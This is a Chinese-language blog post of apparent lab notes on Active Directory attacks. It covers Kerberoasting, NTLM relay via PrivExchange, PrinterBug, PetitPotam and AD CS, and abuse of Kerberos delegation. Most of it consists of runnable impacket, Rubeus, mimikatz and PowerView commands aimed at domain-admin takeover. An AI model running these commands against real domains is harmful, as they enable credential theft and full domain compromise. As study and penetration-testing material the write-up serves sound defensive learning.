域渗透：针对常见服务

Sun, 24 Nov 2024 22:55:00 +0800

一、SPN

SPN 基本概念:

SPN 是服务主体名称,用于在域环境中唯一标识一个服务实例
格式通常为: 服务类型/主机名
比如: HTTP/webserver.domain.com

SPN 的重要性:

它是 Kerberos 认证的关键组成部分
当用户访问服务时,会通过 SPN 来获取该服务的 Kerberos ticket
服务账户的 SPN 信息存储在 Active Directory 中

SPN 扫描的目的:

发现域内注册的服务
识别潜在的服务账户
为后续的 Kerberoasting 攻击做准备

搭建环境

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


powershell.exe
# 先导入AD模块
Import-Module ActiveDirectory
然后创建服务账户
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 在域控制器上执行
# 为SQLService注册一个SPN
setspn -A MSSQLSvc/dc.test.local:1433 SQLService

# 验证是否注册成功
setspn -L SQLService

作为非域成员的利用方式:

1
2
3
4
5


# 使用已获取的凭据
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request

# 如果获得了hash,也可以通过hash进行认证
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request

这里是验证成功才会返回这个

错误会返回这个

具体利用步骤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 步骤1: 枚举SPN
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>

# 步骤2: 请求票据(-request参数)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request

# 步骤3: 保存票据到文件
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt

# 步骤4: 使用hashcat破解票据
hashcat -m 13100 tickets.txt wordlist.txt

不同场景的利用策略:

已有域用户凭据:直接使用GetUserSPNs.py
只有NTLM hash:使用-hashes参数
有票据:可以使用-k参数进行基于票据的认证

注意事项:

扫描活动可能被检测
大量ticket请求可能触发告警
建议针对性扫描,避免大范围探测

实际案例:

1
2
3
4
5
6
7
8


# 例如发现SQL服务的SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# 输出可能显示:
# MSSQLSvc/DBSERVER.domain.com:1433

# 获取该服务的票据
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$

二、域服务账号破解

https://github.com/nidem/kerberoast

跟上面介绍的方法差不多区别在于场景第一种方法需要获得域成员的账号和密码才能用第二种方法需要获取域成员主机的权限就能在这台主机上使用

1

setspn -T PENTEST.com -Q */*

图方便我就在域控上直接运行了如果域成员账户也有这个sqlserver的访问权限那么也会出来的

1
2


从Mimikatz的RAM中提取获得的门票
kerberos::list /export

1

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

不让用了？下面这个也可以用转hashcat就行

1
2


python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt

三、NTLM relay

(1) Privexchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/dirkjanm/privexchange/

https://github.com/ridter/exchange2domain

Exchange服务器 —-认证请求—-> 我们的中继服务器 —-修改后转发—-> 域控制器 (高权限) (修改认证内容) (LDAP服务)

实际上我们设置了HTLM中继认证 Exchange服务器的认证请求经过我们设置的中继认证然后我们改点东西让他修改我们的权限让我们有DCSync权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


必需条件:
● Exchange服务器存在且可访问
● 一个域用户账号(必须有邮箱)
 ○ 需要用户名和密码
 ○ 或者已经获得了某个域用户的权限
可选条件:
● 如果在域内机器上操作，可以利用当前登录用户的凭据
● 如果能获得中间人攻击位置，可以不需要域账号凭据

# 需要的工具
- ntlmrelayx.py (impacket工具包)
- privexchange.py (PrivExchange工具)

# 需要的信息
- Exchange服务器IP/主机名
- 域控制器IP
- 域名
- 有邮箱的域用户凭据

两种场景

1
2
3


直接使用已知的域用户凭据
用户必须有邮箱
从外部或内部都可以发起攻击

1
2
3


需要在域内网络中
需要能进行中间人攻击
利用其他用户的认证请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


1. 设置阶段
 用户(带邮箱) -----> Exchange
 "请帮我设置通知，发送到 http://攻击者IP"

2. Exchange工作阶段
 Exchange ----需要认证----> 攻击者IP
 "我是Exchange服务器，我要发送通知了"

3. 中间人操作
 Exchange认证 ----中继----> 域控制器LDAP
 "我们拿着Exchange的认证去域控那边修改权限"

设置NTLM中继:

在impacket里面存有这个包

1
2


ntlmrelayx.py -t ldap://dc-ip --escalate-user 攻击者用户
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1

这步是设置"中间人"
准备接收Exchange的认证并转发到DC

触发Exchange认证:

https://github.com/dirkjanm/privexchange/

1
2


privexchange.py -ah 攻击者IP exchange服务器 -u 域用户 -d 域名
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local

利用PushSubscription功能
让Exchange服务器向我们的中继服务器发起认证

(2) Printerbug(HTLM认证)

协议设计问题，不是漏洞

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

环境搭建：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


环境要求：
- Windows Server开启打印服务
- Spooler服务运行
- 域用户权限(不需要特殊权限) 任意用户都行

检查步骤：
# 查看打印服务是否运行
Get-Service Spooler

# 如果没开启，启动服务
Start-Service Spooler
Set-Service Spooler -StartupType Automatic

一般都是默认开启的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 基本用法
python printerbug.py 域名/用户名:密码@目标IP 攻击者IP

# 具体例子
python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser

test.local -> 域名
TestUser -> 用户名
Password123 -> 密码
192.168.0.111 -> 目标IP(DC)
192.168.0.103 -> 攻击者IP

(3) PetitPotam(HTLM认证)

存在漏洞 CVE-2021-36942

大概范围在 Windows Server 2008到2019

https://github.com/topotam/PetitPotam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


环境要求：
- Windows Server
- MS-EFSRPC服务可用
- 域用户权限(不需要特殊权限)

检查步骤：
# 检查RPC服务和EFS服务是否运行
Get-Service RpcSs
Get-Service EFS

攻击机需要：
- impacket工具包
- ntlmrelayx.py
- 能访问目标的网络环境

目标机器：
- LDAP服务开启(DC默认开启)
- 证书服务(如果要中继到AD CS)

1
2
3
4
5
6
7
8


命令：
# 启动中继
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 用户名 --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server

# 触发认证
python PetitPotam.py -d domain -u user -p pass 攻击机IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110

(4) Relay LDAP(HTLM中继)

https://www.freebuf.com/articles/network/368583.html

Relay LDAP(NTLM中继)主要利用CVE-2019-1040漏洞绕过LDAP签名

第二个和第三个用于发起认证这个利用漏洞来创建中继

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


- 绕过LDAP签名
- 允许中继到LDAP/LDAPS
- 即使启用了签名保护也可以

漏洞影响版本
Windwos 7 SP 1 至 Windows 10 1903；
Windows Server 2008 至 Windows Server 2019

# 启动中继器
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic

# 或者完整参数 带漏洞的
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic --no-smb-server --no-http-server

--remove-mic：利用CVE-2019-1040绕过签名
--escalate-user：指定要提权的用户
-t ldap://DC-IP：指定目标DC

(5) Relay AD CS/PKI(HTLM中继)

https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/

需要目标配置Active Directory证书服务

访问地址:

环境搭建失败记录一下方法吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 基本语法
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs

# 更多参数
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate

python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t http://CA-SERVER：证书服务器Web地址
--adcs：指定这是ADCS攻击
--template：指定证书模板(可选)

1
2
3


# https://github.com/topotam/PetitPotam

PetitPotam.exe 172.16.79.1 172.16.79.2

Darwin 上运行的 Ntlmrelay 将生成 CSR（Certificate Signing Request, 证书签名请求）并尝试滥用存在漏洞的 PKI 模板来生成证书：

如果成功ntlmrelayx 将会接收到：

[+] Base64 certificate of user 2012DC$: MI… (一大串Base64编码的证书数据)

接下来是利用获得的东西

1

Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

可以拿到TGT 然后利用DCSync 获取 DA NTLM Hash就行了

自动化工具

RelayX 将几个比较好用的relay集成到了一起，提高了测试效率：

1

python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

ADCSPwn实际上是将之前的攻击自动化 https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn

ADCSPwn 由 C# 编写，编译后方便通过 execute-assembly 内存加载运行，通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外，ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务（默认未安装，手动开启，可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files ）

ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请，普通域成员机器使用证书模版 Machine，DC 使用证书模版 DomainController，ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”，而在简体中文换进下应该是“证书申请被拒绝”，可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains(“Certificate Request Denied”)) 中的 “Certificate Request Denied” 为 “locDenied”（证书申请被拒绝响应页面中的 HTML 元素 ID ）来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。

1

ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可

内网445端口

PortBender

https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0

例如，我们可能希望在重定向器模式下执行 PortBender，以便从受感染的 Windows 系统执行 SMB 中继攻击。为了实现这一点，我们可以指示 PortBender 将所有到 445/TCP 的流量重定向到运行攻击者 SMB 服务的备用端口 8445/TCP。在此示例中，我们运行命令“PortBender redirect 445 8445”来实现此目的

1
2
3
4


#cs直接运行就行
PortBender redirect 445 8445

因为他那只有cna插件 没有exe 当然自己打包或许也可以

(6)扩展

防病毒发起认证

1
2


cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe

四、Kerberos委派攻击

参考：https://xz.aliyun.com/t/7217

前置知识

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式，还有一种是基于资源的约束委派（Resource Based Constrained Delegation）不过不是本文的重点，下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

发现域中委派的用户和计算机

原理说明

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议（全称：LightweightDirectory Access Protocol）然后通过userAccountControl属性筛选出符合的用户或计算机，我们可以通过ADSI（全称：ActiveDirectory Service Interfaces Editor）来编辑和修改LDAP，adsiedit.msc可以打开ADSI编辑器，打开之后我们找到一个设置了非约束委派的用户，可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

搭建环境(忽略)

这里可以忽略这里主要是配置两种账号非约束委派账号需要一个域内主机在域内主机上配置

如果有域内一台主机配置完非约束委派账号之后按照下面的步骤配置IIS 用于测试我这里没有测试直接用机器账户也可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


第一步：确认主机名
- 在目标机器上运行 hostname 确认主机名
- 确保主机名与SPN中设置的相同

第二步：安装IIS
- 在目标机器上安装IIS服务
Install-WindowsFeature -Name Web-Server -IncludeManagementTools

第三步：配置服务账号
- 打开IIS管理器 (inetmgr)
- 找到DefaultAppPool或新建应用程序池
- 配置身份为域账号(test\svc_iis)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


第一个iis服务账号
# CN是Common Name的缩写,指在Active Directory中的位置
# 比如 CN=Users,DC=domain,DC=com 表示在域的Users容器下

New-ADUser -Name "svc_iis" `
 -SamAccountName "svc_iis" `
 -UserPrincipalName "svc_iis@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
 -Description "IIS Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis

# 验证用户创建
Get-ADUser svc_iis -Properties *

# 验证SPN设置
setspn -L svc_iis

========================================================================================

第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

======================================================================================
IIS
# 查看当前服务账号
Get-ADUser svc_iis -Properties *

# 设置非约束委派
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true

# 验证设置
Get-ADUser svc_iis -Properties userAccountControl
# userAccountControl属性中应该包含TRUSTED_FOR_DELEGATION(524288)
======================================================================================
sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

======================================================================================
# 查找所有设置了非约束委派的账号
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

非约束委派的查找

ldapsearch

kali上自带，适合在域外查询

这个参数过多就不一一列举了，需要查阅的ldapsearch -h即可

查找域中配置非约束委派的用户：

1

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

普通域成员账号就能查到

查找域中配置非约束委派的主机：

1

ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

图方便值可以直接将805306368改成805306369

注：更多LDAP的过滤语法请参考微软的手册：地址

ADFind

使用参数

1

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明：

-b：指定要查询的根节点
-f：LDAP过滤条件
attr list：需要显示的属性

https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

1.查找域中配置非约束委派的用户(在域内的方法)：

1

AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

图省事我在域控上执行了

2.查找域中配置非约束委派的用户(在域外的方法)：

1

AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

我参考的这个博客的博主并没有测试这个在刚刚那个github上是有具体方法的

3.查找域中配置非约束委派的主机：

1
2
3
4


#域内
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#域外
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查找域中配置约束委派用户

1
2


Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

我没有找到账密验证的参数

https://blog.csdn.net/qq_41874930/article/details/109616189

https://www.cnblogs.com/-zhong/p/12374568.html

https://www.freebuf.com/sectool/173366.html

这三个里面有模块介绍

查找域中配置约束委派的主机：

1
2
3


Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

大概信息如下

1
2
3
4
5
6
7
8


distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# 这是域控制器的路径

useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# 这表明这台机器配置了非约束委派权限

dnshostname : WindowsServerAD.test.local
# 这是机器的DNS名称

非约束委派的利用

概述

非约束委派：当user访问service1时，如果service1的服务账号开启了unconstrained delegation（非约束委派），则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用，然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务（任何服务是指user能访问的服务）了

非约束委派的请求过程（图来自微软手册）：

上图的Kerberos请求描述分为如下步骤：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST（Service Ticket）

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1，KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2，并以KRB_TGS_REQ的形式将其发送到KDC，以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST，以及service1可以使用的sessionkey。ST将客户端标识为用户，而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应，service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务，所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

注：TGT1（forwardable TGT）用于访问Service1，TGT2（forwarded TGT）用于访问Service2

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

上面提到了一般非约束委派为服务账号或者主机账号服务账户需要搭建环境然后创建账号有点麻烦这里直接用主机账号比较方便

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


1. 在域控上配置(需要域管理员权限)：
PowerShell命令：
# 配置WIN10机器账号为非约束委派
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true

2. 验证配置：
# 检查机器的委派设置
Get-ADComputer WIN10 -Properties userAccountControl

# 或使用PowerView查找所有非约束委派的机器
Get-DomainComputer -Unconstrained

# 或使用LDAP查询
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

配置好了开始准备让域控管理员触发

PS：我现在已经升级为了这台win10的管理员也就是本地我可以搭建很多东西比如IIS、MYSQL等等然后目前使用的账号也为非约束委派权限此时随意想搭建什么服务都可以 IIS、MYSQL 然后再等域控管理员访问也可以

win10配置WINRM服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# 在WIN10上执行以下命令：

# 1. 快速配置WinRM（以管理员权限运行）
winrm quickconfig -q

# 2. 允许HTTP传输
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 3. 配置允许的验证方式
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}

# 4. 配置防火墙规则（如果还没开启）
Enable-PSRemoting -Force

# 5. 确认WinRM服务已启动
Get-Service WinRM

# 6. 检查WinRM监听器
winrm enumerate listener

1
2
3
4
5
6
7


# 在域控上执行
# 方法1：Enter-PSSession
Enter-PSSession -ComputerName WIN10

# 方法2：WinRM
winrm quickconfig # 确保WinRM服务开启
Test-WSMan -ComputerName WIN10 # 测试连接

这个时候域管理员的TGT已经缓存在win10了，我们用mimikatz即可dump出来

1
2


privilege::debug
sekurlsa::tickets /export

然后通过ptt将TGT注入到当前会话中

1
2


kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
dir \\WindowsServerAD.test.local\c$

分割线隔开的方法我这里运行不了一直出问题还不知道出在哪报错系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。所以mimikatz我应该是无法使用了

Rubeus

这个我使用没问题

项目地址：https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

需要自行编译电脑上要安装vs 点击sln文件进去之后生成解决方案就行了

我这里编译好了下面的命令是比较流畅的步骤

1
2
3
4


# 将获得的票据导出到ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# 如果能获取到 txt文本里面则会有base64编码的内容 直接导入票据
Rubeus.exe ptt /ticket:[base64编码]

下面解释一下为什么不用其他命令可以参考不用测试

1
2
3
4


# 说是直接导入票据 但是并没有用
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# 使用过程中 上面的两个命令没啥区别 /ptt貌似不起作用

实际上已经拿到base64编码的票据了但是复制很上头要删空格和回车太麻烦了所以选择导入文件

非常好复制这就是为什么上面成功的命令要导入文件然后再复制

1
2
3
4
5
6


# 下一步就是将base64写入admin.kirbi
# 使用mimikatz导入
mimikatz.exe
kerberos::purge # 清除现有票据
kerberos::ptt admin.kirbi # 导入新票据
# 很可惜这里我允许导入的操作直接报错 无法导入

所以刚刚开始给的成功的流程应该是最优解了也可能是我的windows server 2022版本可能过高也可能是mimikatz版本太低无论咋样至少有成功的方法就行

1

Enter-PSSession -ComputerName WindowsServerAD

还是用WinRM服务反连了域控

非约束委派+Spooler打印机服务

这个我看完了有点像HTLM relay但不完全是至少都利用了spooler打印机发起认证

如果只是单纯的非约束委派话需要管理员主动连接，所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接，这个利用场景是tifkin_，enigma0x3和harmj0y在DerbyCon 2018提出的

演讲PPT：地址

利用原理：利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex）方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

请求过程如下：

图来源于：http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

注：Print Spooler服务默认是自动运行的

这个实现了前提是：需要获取一台主机账户开启了非约束委派域内机器的权限

我的环境还是之前那个没有变

tifkin_在他的github上开源了POC：https://github.com/leechristensen/SpoolSample

但是我试了几次无法编译貌似是powershell有一点小问题

暂时无法解决但我找到了一个编译好的项目

https://github.com/jtmpu/PrecompiledBinaries

在虚拟机里使用

1
2
3
4
5


# 指定域控和本机就行 无论什么只要dns解析到就行
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# 开始监听票据 上面是监听用户 这里要监听域控
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$

成功拿到了这里我就不重新连域控了因为和上面的一模一样并且mimikatz我也无法使用就这样了

约束委派的利用

概述

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)；S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。

S4U2Self和S4U2proxy的请求过程（图来自微软手册）：

注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

操作

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

创建服务账号:

这个其实在上面已经写了但是利用有点麻烦就忽略了这里重新引用一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
 'msDS-AllowedToDelegateTo'=@(
 'CIFS/WindowsServerAD.test.local',
 'CIFS/WindowsServerAD'
 )
}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

账号 svc_sharepoint 密码 Password123!

